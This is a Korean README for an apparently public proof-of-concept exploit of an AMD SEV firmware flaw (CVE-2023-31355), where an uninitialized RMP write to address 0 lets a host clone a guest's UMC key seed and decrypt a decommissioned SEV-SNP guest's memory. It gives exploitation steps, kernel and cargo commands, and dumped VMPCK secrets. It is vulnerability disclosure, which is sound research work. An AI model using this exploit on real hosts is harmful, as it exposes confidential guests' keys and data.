SEV 펌웨어 취약점

이 저장소는 SEV 펌웨어의 취약점에 대한 익스플로잇을 포함합니다. 이 익스플로잇은 SEV-SNP 게스트가 해제(decommission)된 후 임의의 메모리를 복호화할 수 있게 합니다.

버전 1.55.16(작성 시점 기준 최신 버전)에서 테스트되었습니다.

근본 원인

snp_reclaim_buffer는 주소가 RMP에 포함되지 않은 경우에도 무조건 RMP 변경 사항을 다시 쓰려고 시도합니다. address가 RMP에 포함되지 않은 경우, RMP 항목의 주소인 page_rmp_paddr는 제대로 초기화되지 않고 초기값인 0으로 유지됩니다. 그 결과 펌웨어는 RMP 항목의 변경 사항을 주소 0에 다시 쓰려고 시도합니다. 주소 0은 RMP에 포함되어 있으며 추가 검사 없이 쓰여져서는 안 되기 때문에 이는 문제입니다. address가 RMP 적용 영역 밖에 있는 경우 page_rmp_entry는 제대로 초기화되지 않고 스택의 쓰레기 메모리를 포함합니다. 이 쓰레기 메모리는 실제로는 일정(constant)합니다.

정확히 이 코드 패턴에 대해 경고하는 주석이 있는데, 이것이 제가 이 문제를 처음 보고한 사람이 아닐 수도 있다는 것에 놀라지 않는 이유이기도 합니다.

snp_reclaim_buffer는 하이퍼바이저가 링 버퍼 모드 종료를 요청할 때 SEV 링 버퍼의 상태 페이지 주소와 함께 호출됩니다. 이 주소는 공격자가 제어할 수 있습니다. 이 주소에 대한 일부 검사가 있지만 기본(default) 페이지(즉, RMP 적용 영역 밖의 페이지)는 명시적으로 허용됩니다.

익스플로잇

주소 0에 게스트 컨텍스트 페이지를 배치함으로써 이 주소 0에 대한 쓰기를 악용할 수 있습니다. 편리하게도 게스트 컨텍스트 페이지의 첫 번째 필드는 UMC 키 시드로, RMP 항목과 정확히 같은 크기입니다(둘 다 16바이트). 펌웨어가 변경 사항을 주소 0에 다시 쓰도록 속임으로써 UMC 키 시드를 손상시킬 수 있습니다. 쓰여지는 초기화되지 않은 RMP 항목은 항상 동일하므로, 손상된 UMC 키 시드도 항상 거의 동일하게 됩니다. RMP 항목의 하위 페이지 개수(subpage count, 9비트)는 쓰이지 않지만 다른 모든 필드는 쓰입니다. 매번 다른 무작위 초기 하위 페이지 개수를 가지는 새 게스트 컨텍스트 페이지를 반복적으로 생성함으로써, 결국 동일한 UMC 키 시드를 가진 여러 게스트를 만들 수 있습니다.

취약점을 악용하기 위해 다음 단계를 실행할 수 있습니다:

주소 0에 피해자 게스트용 게스트 컨텍스트 페이지를 생성합니다.
취약점을 사용하여 피해자 게스트의 UMC 키 시드를 손상시킵니다.
피해자 게스트 컨텍스트 페이지를 활성화하고 피해자 게스트를 시작(launch) 및 실행합니다.
피해자 게스트를 해제(decommission)합니다.
주소 0에 공격자 게스트용 게스트 컨텍스트 페이지를 생성합니다.
취약점을 사용하여 공격자 게스트의 UMC 키 시드를 손상시킵니다. 9비트를 제외한 모든 비트가 피해자 게스트와 일치하는 것이 보장됩니다.
공격자 게스트의 UMC 키 시드가 피해자와 일치하면 계속하고, 그렇지 않으면 5단계로 이동합니다.
공격자 게스트 컨텍스트 페이지를 활성화하고 디버그 플래그를 활성화한 상태로 시작합니다.
피해자 게스트의 메모리를 공격자 게스트에 할당합니다.
SNP_DBG_ENCRYPT 명령을 사용하여 공격자 게스트의 컨텍스트 페이지로 피해자 게스트의 메모리를 복호화합니다. 피해자 게스트와 공격자 게스트가 UMC 키 시드를 공유하기 때문에 이 작업은 성공합니다.

영향

게스트가 해제된 후에만 메모리를 복호화할 수 있다는 사실 때문에, 게스트의 비밀값에 접근할 수 있음에도 불구하고 위조 증명(attestation) 보고서를 생성하는 것은 불가능합니다. 게스트가 해제되기 전에 다른 호스트로 마이그레이션된 경우에만 위조 증명 보고서를 생성할 수 있습니다. 이 경우 해제된 게스트의 비밀값(예: VMPCK)이 새로 마이그레이션된 인스턴스에서도 작동합니다.

하지만 실제로 많은 애플리케이션은 이 익스플로잇을 사용하여 유출될 수 있는 다른 민감한 정보(예: 개인 키, 디스크 암호화 키)를 저장합니다.

완화 방안

RMP 항목은 페이지가 기본(default) 상태가 아닌 경우에만 다시 쓰여져야 합니다.

PoC 사용법

BIOS에서 RMP 적용 영역을 64GiB(0x10000개의 1-MiB 페이지)로 변경합니다. 시스템이 이를 지원하지 않는 경우 Linux 패치를 그에 맞게 조정해야 합니다. PoC는 128GiB 메모리를 갖춘 시스템에서 테스트되었습니다.
linux-patches 폴더의 패치를 https://github.com/AMDESE/linux/commits/snp-host-v10 의 최신 커밋에 적용합니다. 커널을 빌드, 설치 및 부팅합니다.
피해자 SEV-SNP 게스트를 시작합니다.
게스트가 실행 중인 상태에서 (암호화된) UMC 키 시드를 가져옵니다.
```
root@server:~# hexdump -ve '16/1 "%.2x" "\n"' -n 16 /dev/mem
118402003190020000d0150701000000
```
피해자 게스트를 중지합니다.

커널 로그를 확인하여 시작 중 생성된 시크릿 페이지의 위치를 찾습니다.

root@server:~# dmesg | grep "kvm_amd: Detected secret page"
[  463.851449] kvm_amd: Detected secret page at pfn 171a24

ccp, kvm, kvm_amd 커널 모듈을 다시 로드합니다:
```
root@server:~# rmmod kvm_amd kvm ccp && modprobe kvm_amd
```
Linux 패치는 RMP를 망가뜨리는 것 같으며, 이 과정은 RMP를 다시 초기화합니다.

PoC를 실행합니다.

root@server:~/firmware-vuln-poc# cargo run -- --umc-key-seed 118402003190020000d0150701000000 --pfn 0x171a24 
    Finished dev [unoptimized + debuginfo] target(s) in 0.03s
Creating VM with identical UMC key seed
[11, 84, 02, 00, 31, 90, 02, 00, 00, d0, 15, 07, 01, 00, 00, 00]
Raw page:
000: 0300000000000000110fa0000000000000000000000000000000000082837143
020: a41875b10f682aa819bc3a4e6a58d1ffa118d9ac5e6842db09d5b8c8834dc896
040: a35f68f0f4d3d193d423a17072699d2091c6c85e9f9add3a0a4a2ed773844cfa
060: 52667d5345db42dfafdbd77f578a21ebaa6c840d70b02bde02f264f8a774351c
080: 17aedc1fca84e0f682ffd9b4f9da53f8c5372d224d481614d0205ee3413427a8
0a0: 0000000000000000000000000000000000000000000000000000000000000000
0c0: 0000000000000000000000000000000000000000000000000000000000000000
0e0: 0000000000000000000000000000000000000000000000000000000000000000
100: 000000000080008800000000eeff0000f0ffffffffffffffff3f000000000000
120: 0000000000000000000000000000000000000000000000000000000000000000
140: 0000000000000000000000000000000000000000000000000000000000000000
160: c800000000000000000000000000000000000000000000000000000000000000
180: 0000000000000000000000000000000000000000000000000000000000000000
1a0: 0000000000000000000000000000000000000000000000000000000000000000
1c0: 0000000000000000000000000000000000000000000000000000000000000000
1e0: 0000000000000000000000000000000000000000000000000000000000000000
200: 0000000000000000000000000000000000000000000000000000000000000000
220: 0000000000000000000000000000000000000000000000000000000000000000
240: 0000000000000000000000000000000000000000000000000000000000000000
260: 0000000000000000000000000000000000000000000000000000000000000000
280: 0000000000000000000000000000000000000000000000000000000000000000
2a0: 0000000000000000000000000000000000000000000000000000000000000000
2c0: 0000000000000000000000000000000000000000000000000000000000000000
2e0: 0000000000000000000000000000000000000000000000000000000000000000
300: 0000000000000000000000000000000000000000000000000000000000000000
320: 0000000000000000000000000000000000000000000000000000000000000000
340: 0000000000000000000000000000000000000000000000000000000000000000
360: 0000000000000000000000000000000000000000000000000000000000000000
380: 0000000000000000000000000000000000000000000000000000000000000000
3a0: 0000000000000000000000000000000000000000000000000000000000000000
3c0: 0000000000000000000000000000000000000000000000000000000000000000
3e0: 0000000000000000000000000000000000000000000000000000000000000000
400: 0000000000000000000000000000000000000000000000000000000000000000
420: 0000000000000000000000000000000000000000000000000000000000000000
440: 0000000000000000000000000000000000000000000000000000000000000000
460: 0000000000000000000000000000000000000000000000000000000000000000
480: 0000000000000000000000000000000000000000000000000000000000000000
4a0: 0000000000000000000000000000000000000000000000000000000000000000
4c0: 0000000000000000000000000000000000000000000000000000000000000000
4e0: 0000000000000000000000000000000000000000000000000000000000000000
500: 0000000000000000000000000000000000000000000000000000000000000000
520: 0000000000000000000000000000000000000000000000000000000000000000
540: 0000000000000000000000000000000000000000000000000000000000000000
560: 0000000000000000000000000000000000000000000000000000000000000000
580: 0000000000000000000000000000000000000000000000000000000000000000
5a0: 0000000000000000000000000000000000000000000000000000000000000000
5c0: 0000000000000000000000000000000000000000000000000000000000000000
5e0: 0000000000000000000000000000000000000000000000000000000000000000
600: 0000000000000000000000000000000000000000000000000000000000000000
620: 0000000000000000000000000000000000000000000000000000000000000000
640: 0000000000000000000000000000000000000000000000000000000000000000
660: 0000000000000000000000000000000000000000000000000000000000000000
680: 0000000000000000000000000000000000000000000000000000000000000000
6a0: 0000000000000000000000000000000000000000000000000000000000000000
6c0: 0000000000000000000000000000000000000000000000000000000000000000
6e0: 0000000000000000000000000000000000000000000000000000000000000000
700: 0000000000000000000000000000000000000000000000000000000000000000
720: 0000000000000000000000000000000000000000000000000000000000000000
740: 0000000000000000000000000000000000000000000000000000000000000000
760: 0000000000000000000000000000000000000000000000000000000000000000
780: 0000000000000000000000000000000000000000000000000000000000000000
7a0: 0000000000000000000000000000000000000000000000000000000000000000
7c0: 0000000000000000000000000000000000000000000000000000000000000000
7e0: 0000000000000000000000000000000000000000000000000000000000000000
800: 0000000000000000000000000000000000000000000000000000000000000000
820: 0000000000000000000000000000000000000000000000000000000000000000
840: 0000000000000000000000000000000000000000000000000000000000000000
860: 0000000000000000000000000000000000000000000000000000000000000000
880: 0000000000000000000000000000000000000000000000000000000000000000
8a0: 0000000000000000000000000000000000000000000000000000000000000000
8c0: 0000000000000000000000000000000000000000000000000000000000000000
8e0: 0000000000000000000000000000000000000000000000000000000000000000
900: 0000000000000000000000000000000000000000000000000000000000000000
920: 0000000000000000000000000000000000000000000000000000000000000000
940: 0000000000000000000000000000000000000000000000000000000000000000
960: 0000000000000000000000000000000000000000000000000000000000000000
980: 0000000000000000000000000000000000000000000000000000000000000000
9a0: 0000000000000000000000000000000000000000000000000000000000000000
9c0: 0000000000000000000000000000000000000000000000000000000000000000
9e0: 0000000000000000000000000000000000000000000000000000000000000000
a00: 0000000000000000000000000000000000000000000000000000000000000000
a20: 0000000000000000000000000000000000000000000000000000000000000000
a40: 0000000000000000000000000000000000000000000000000000000000000000
a60: 0000000000000000000000000000000000000000000000000000000000000000
a80: 0000000000000000000000000000000000000000000000000000000000000000
aa0: 0000000000000000000000000000000000000000000000000000000000000000
ac0: 0000000000000000000000000000000000000000000000000000000000000000
ae0: 0000000000000000000000000000000000000000000000000000000000000000
b00: 0000000000000000000000000000000000000000000000000000000000000000
b20: 0000000000000000000000000000000000000000000000000000000000000000
b40: 0000000000000000000000000000000000000000000000000000000000000000
b60: 0000000000000000000000000000000000000000000000000000000000000000
b80: 0000000000000000000000000000000000000000000000000000000000000000
ba0: 0000000000000000000000000000000000000000000000000000000000000000
bc0: 0000000000000000000000000000000000000000000000000000000000000000
be0: 0000000000000000000000000000000000000000000000000000000000000000
c00: 0000000000000000000000000000000000000000000000000000000000000000
c20: 0000000000000000000000000000000000000000000000000000000000000000
c40: 0000000000000000000000000000000000000000000000000000000000000000
c60: 0000000000000000000000000000000000000000000000000000000000000000
c80: 0000000000000000000000000000000000000000000000000000000000000000
ca0: 0000000000000000000000000000000000000000000000000000000000000000
cc0: 0000000000000000000000000000000000000000000000000000000000000000
ce0: 0000000000000000000000000000000000000000000000000000000000000000
d00: 0000000000000000000000000000000000000000000000000000000000000000
d20: 0000000000000000000000000000000000000000000000000000000000000000
d40: 0000000000000000000000000000000000000000000000000000000000000000
d60: 0000000000000000000000000000000000000000000000000000000000000000
d80: 0000000000000000000000000000000000000000000000000000000000000000
da0: 0000000000000000000000000000000000000000000000000000000000000000
dc0: 0000000000000000000000000000000000000000000000000000000000000000
de0: 0000000000000000000000000000000000000000000000000000000000000000
e00: 0000000000000000000000000000000000000000000000000000000000000000
e20: 0000000000000000000000000000000000000000000000000000000000000000
e40: 0000000000000000000000000000000000000000000000000000000000000000
e60: 0000000000000000000000000000000000000000000000000000000000000000
e80: 0000000000000000000000000000000000000000000000000000000000000000
ea0: 0000000000000000000000000000000000000000000000000000000000000000
ec0: 0000000000000000000000000000000000000000000000000000000000000000
ee0: 0000000000000000000000000000000000000000000000000000000000000000
f00: 0000000000000000000000000000000000000000000000000000000000000000
f20: 0000000000000000000000000000000000000000000000000000000000000000
f40: 0000000000000000000000000000000000000000000000000000000000000000
f60: 0000000000000000000000000000000000000000000000000000000000000000
f80: 0000000000000000000000000000000000000000000000000000000000000000
fa0: 0000000000000000000000000000000000000000000000000000000000000000
fc0: 0000000000000000000000000000000000000000000000000000000000000000
fe0: 0000000000000000000000000000000000000000000000000000000000000000

Secrets page:
imi_en: false
FMS: 00a00f11
gosvw: 00000000000000000000000082837143
vmpck0: a41875b10f682aa819bc3a4e6a58d1ffa118d9ac5e6842db09d5b8c8834dc896
vmpck1: a35f68f0f4d3d193d423a17072699d2091c6c85e9f9add3a0a4a2ed773844cfa
vmpck2: 52667d5345db42dfafdbd77f578a21ebaa6c840d70b02bde02f264f8a774351c
vmpck3: 17aedc1fca84e0f682ffd9b4f9da53f8c5372d224d481614d0205ee3413427a8
VMSA tweak bitmap: 000000000080008800000000eeff0000f0ffffffffffffffff3f0000000000000000000000000000000000000000000000000000000000000000000000000000
tsc_factor: 200

시크릿 페이지에는 특별한 것이 없다는 점에 유의하세요. 이 익스플로잇은 일반 페이지를 복호화하는 데에도 사용할 수 있습니다. PoC에서 시크릿 페이지를 사용하는 이유는 콘텐츠가 매우 식별하기 쉬워 피해자 메모리의 복호화가 성공했는지 쉽게 확인할 수 있기 때문입니다.

cve-2023-31355-poc

인기